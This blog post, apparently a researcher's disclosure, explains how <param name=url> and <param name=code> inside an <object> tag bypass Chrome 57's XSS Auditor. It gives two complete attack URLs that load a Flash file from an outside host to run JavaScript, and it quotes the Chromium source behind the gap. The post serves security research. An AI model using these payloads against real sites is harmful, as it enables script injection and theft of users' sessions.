利用冷门<param>标签绕过XSS Auditor的技术分析

本文详细分析了如何通过<param>标签的code和url属性绕过Chrome的XSS Auditor防护机制,涉及具体漏洞利用代码和Chromium源码分析,适用于安全研究人员和Web开发者参考。

XSS Auditor绕过:利用冷门标签

大家好! 我在阅读Chromium代码时偶然发现了一个XSS Auditor绕过方法。 这篇短文将分享这个绕过技术。我确认它在Chrome Canary 57上有效。

绕过示例

第一个向量:

1
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

对应代码:

1
2
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>

第二个向量:

1
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

对应代码:

1
2
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>

技术原理

在阅读HTMLObjectElement.cpp时,我发现了以下关键代码段:

1
2
3
4
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

XSS Auditor会拦截<param name="src"><param name="movie">,但我注意到codeurl参数没有被拦截。利用这一点,我们可以加载Flash并执行JavaScript。

根据源代码注释,Chrome支持这些参数是为了兼容性。但经我确认,这在IE/Edge和Firefox上无效。我认为Chrome可以移除这种支持。

总结

这就是使用<param>标签绕过XSS Auditor的方法。感谢阅读!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计